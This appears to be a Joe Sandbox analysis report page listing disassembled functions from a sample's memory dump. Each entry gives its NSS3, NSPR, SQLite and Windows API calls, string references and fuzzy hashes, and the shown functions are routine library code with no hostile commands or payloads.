API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: c0be79ad29ba97b6d7f605a416f1c3801dddcb34394f664fac27587b7fc204fe
Instruction ID: d30828fbc9c449822e28f7597bfe130134f5ab079e2397865a9cde10578fe6b8
Opcode Fuzzy Hash: c0be79ad29ba97b6d7f605a416f1c3801dddcb34394f664fac27587b7fc204fe
Instruction Fuzzy Hash: 72113AB1E002045BF724AA259E52BBB76FCDF4565CF21062DFC69C2B41F721E948C2B2

Function 6CE7BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CEFDC29,?), ref: 6CE7BE64

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CEFDC29,?), ref: 6CE7BE78

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CEFDC29,?), ref: 6CE7BE96

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CEFDC29,?), ref: 6CE7BEBB

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CEFDC29,?), ref: 6CE7BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CEFDC29,?), ref: 6CE7BEF3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: c9b93b9217ecfebdfbdc12dab897823630c2fcef3881d2de0ac2a4d4939acf8f
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: C111A571E002095BEB109BA59D45FAE3BB8EB4125CF254028ED09EB780EB31E909C7B1

Function 6CF03C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF03D3F

Part of subcall function 6CE7BA90: PORT_NewArena_Util.NSS3(00000800,6CF03CAF,?), ref: 6CE7BABF
Part of subcall function 6CE7BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CF03CAF,?), ref: 6CE7BAD5
Part of subcall function 6CE7BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CF03CAF,?), ref: 6CE7BB08
Part of subcall function 6CE7BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CF03CAF,?), ref: 6CE7BB1A
Part of subcall function 6CE7BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CF03CAF,?), ref: 6CE7BB3B

PR_EnterMonitor.NSS3(?), ref: 6CF03CCB

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

PR_EnterMonitor.NSS3(?), ref: 6CF03CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF03CF8
PR_ExitMonitor.NSS3(?), ref: 6CF03D15
PR_ExitMonitor.NSS3(?), ref: 6CF03D2E

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: d02a7f8a420b2a8d15cf5c0a70f0489782060bdc8371b1102672d60d67b0779b
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 711104B5B116046FE7205A65EC51F9BB3F5AB11A08F504538E40AC7B20EA32F91DD692

Function 6CECFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CECFE08

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CECFE1D

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CECFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CECFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CECFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CECFE6F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 51efacd77599b77136d2e163b64ede560c7f4775ecd5af87dcdcebcd5f20efc1
Instruction ID: 79782b93c4ba2b8e4872a09687b65e10cdec3d8025c01f1dfc1704fbd1eb6afd
Opcode Fuzzy Hash: 51efacd77599b77136d2e163b64ede560c7f4775ecd5af87dcdcebcd5f20efc1
Instruction Fuzzy Hash: 5211E5B6B00205AFEB008B95DC40A5F73B8AF552ADF358038E92887B12E735E915C792

Function 6CF7FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF7FD9E

Part of subcall function 6CF39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE61A48), ref: 6CF39BB3
Part of subcall function 6CF39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE61A48), ref: 6CF39BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF7FDB9

Part of subcall function 6CE5A900: TlsGetValue.KERNEL32(00000000,?,6CFD14E4,?,6CDF4DD9), ref: 6CE5A90F
Part of subcall function 6CE5A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE5A94F

PR_Unlock.NSS3 ref: 6CF7FDD4
PR_Lock.NSS3 ref: 6CF7FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF7FE0D
PR_Unlock.NSS3 ref: 6CF7FE23

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 3112ec3757aa03c80c2c7fa7ab4f9df200ee756b8b33020f4ddfcda3b249df8b
Instruction ID: eb5a0024f8789f9d5414952806c65b802de8826be65ce90015b1b4e113cc27b4
Opcode Fuzzy Hash: 3112ec3757aa03c80c2c7fa7ab4f9df200ee756b8b33020f4ddfcda3b249df8b
Instruction Fuzzy Hash: 0001CEBAE10210ABCF544F25FD008427631BB032397144335E82A47BA1EB22ED28C7C2

Function 6CE5AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE5AFDA

Strings

misuse, xrefs: 6CE5AFCE
%s at line %d of [%.10s], xrefs: 6CE5AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE5AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CE5AF5C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 3338c37cf614e0f929372c8f73690fb52d122ddb2326bdac41363d7dc2fdc659
Instruction ID: d097b558a496631d9846987ee06a524648225cc757c292c9fa18f1be8b7aa4a0
Opcode Fuzzy Hash: 3338c37cf614e0f929372c8f73690fb52d122ddb2326bdac41363d7dc2fdc659
Instruction Fuzzy Hash: 2E91E071B412158FDB04CF69C850BBABBF1BF45318F6984A8E865AB751C732AD12CB70

Function 6CEBFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CEBFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEBFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEBFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CEBFDDE

Part of subcall function 6CEC8800: TlsGetValue.KERNEL32(?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC8821
Part of subcall function 6CEC8800: TlsGetValue.KERNEL32(?,?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC883D
Part of subcall function 6CEC8800: EnterCriticalSection.KERNEL32(?,?,?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC8856
Part of subcall function 6CEC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEC8887
Part of subcall function 6CEC8800: PR_Unlock.NSS3(?,?,?,?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC8899

Strings

pkcs11:, xrefs: 6CEBFC4F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: de736223dea9f7c6c44470ea3eb39818fed5e3ed66527f42ab0a2f5ff2d245b1
Instruction ID: 902a8aecb8f1d741e2f1e373b8a7b076bd23db599f2e43a3296677e156b75cd3
Opcode Fuzzy Hash: de736223dea9f7c6c44470ea3eb39818fed5e3ed66527f42ab0a2f5ff2d245b1
Instruction Fuzzy Hash: 7251C1BEB041119BEB008F649F80BBA7375AB4235CF350129DD147BB52EB39E905CB92

Function 6CDFBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDFBE02

Part of subcall function 6CF29C40: memcmp.VCRUNTIME140(?,00000000,6CDFC52B), ref: 6CF29D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFBE9F

Strings

%s at line %d of [%.10s], xrefs: 6CDFBE98
database corruption, xrefs: 6CDFBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFBE89

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: a259e4107721a645c6a31de25f35c875253a070f209cfa603d2d6d5d8ca40f99
Instruction ID: 84ed2f38f07a8b44e7149d213de476b508ec1448335a41e433f6d3b7fc82dfe8
Opcode Fuzzy Hash: a259e4107721a645c6a31de25f35c875253a070f209cfa603d2d6d5d8ca40f99
Instruction Fuzzy Hash: BA315931B44655ABC300CF69C890AABBBB2BF41314B0A8544EDA41BAE1D331ED06C3D0

Function 6CE71EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71EE2

Part of subcall function 6CED1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE71D97,?,?), ref: 6CED1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71F53

Strings

dLl, xrefs: 6CE71F2B, 6CE71F51

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: a15868a0eb895009fc1f780b9b604b2c2b499851f45d03f70cfe4d3917d7bbc6
Instruction ID: 3fe0543d636d1d482843306c429a89344d8c8d032b132bb10f323579a5dc5635
Opcode Fuzzy Hash: a15868a0eb895009fc1f780b9b604b2c2b499851f45d03f70cfe4d3917d7bbc6
Instruction Fuzzy Hash: 9221B071914346ABC750CEA9DD01A9BB7F9EF85698F10092DE848C3B00F330E649CBE2

Function 6CE60DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE60BDE), ref: 6CE60DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE60BDE), ref: 6CE60DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE60BDE), ref: 6CE60DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE60BDE), ref: 6CE60E32

Strings

%s incr => %d (find lib), xrefs: 6CE60E2D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 6f09c341029bb58c633798ef95429776cdb746b863d1770834ea7390f18497a9
Instruction ID: 0f3f1802ca8699514f6ebf177b9da425783b5d4a2f8152005fa8dedc23168dbf
Opcode Fuzzy Hash: 6f09c341029bb58c633798ef95429776cdb746b863d1770834ea7390f18497a9
Instruction Fuzzy Hash: BF01F172B512209FEA208B26DC49E1773B8DF46A08B1444ADE909D3B41E762FC1886E1

Function 6CE09C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE09CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CE09D45
EnterCriticalSection.KERNEL32(?), ref: 6CE09D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CE09DDE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 40f0a0e8636aa7869d22b8d5d31e01ea4c4bb5fe6597289b4df9bcc236772aba
Instruction ID: 0775d2896969ff4ecabe175ad9bf93112db97caa362e5e022db191114a48bec1
Opcode Fuzzy Hash: 40f0a0e8636aa7869d22b8d5d31e01ea4c4bb5fe6597289b4df9bcc236772aba
Instruction Fuzzy Hash: F2A1A071F541008BEB48AF74D88A77E3B75BB43318F28412DD4064BB44DB3AA956DBC2

Function 6CE91E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE91ECC

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

TlsGetValue.KERNEL32 ref: 6CE91EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE91EEF
PR_ExitMonitor.NSS3(?), ref: 6CE91F37
PR_Unlock.NSS3(?), ref: 6CE91F44

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 42303b192a782fbba376d0a855fb8f26654b2bae1404129df89b08081aaccc38
Instruction ID: 7b4c48b40a5425a5516fbbb1c441d822f1e5d7d516b8d14543df601fae4094e4
Opcode Fuzzy Hash: 42303b192a782fbba376d0a855fb8f26654b2bae1404129df89b08081aaccc38
Instruction Fuzzy Hash: 0A71BDB6A043019FDB00CF64D841A5AB7F5FF89358F24492DE89993B20E731F959CB92

Function 6CF1DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF1DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CF1DE77

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 8939a2901188ca5afc6785ed0984e2489253a29490d82d3eb5b2d3c82a99b300
Instruction ID: f92922236f4c7e3d218e7f025cd49334942b2c35057488167bd19e3807628e46
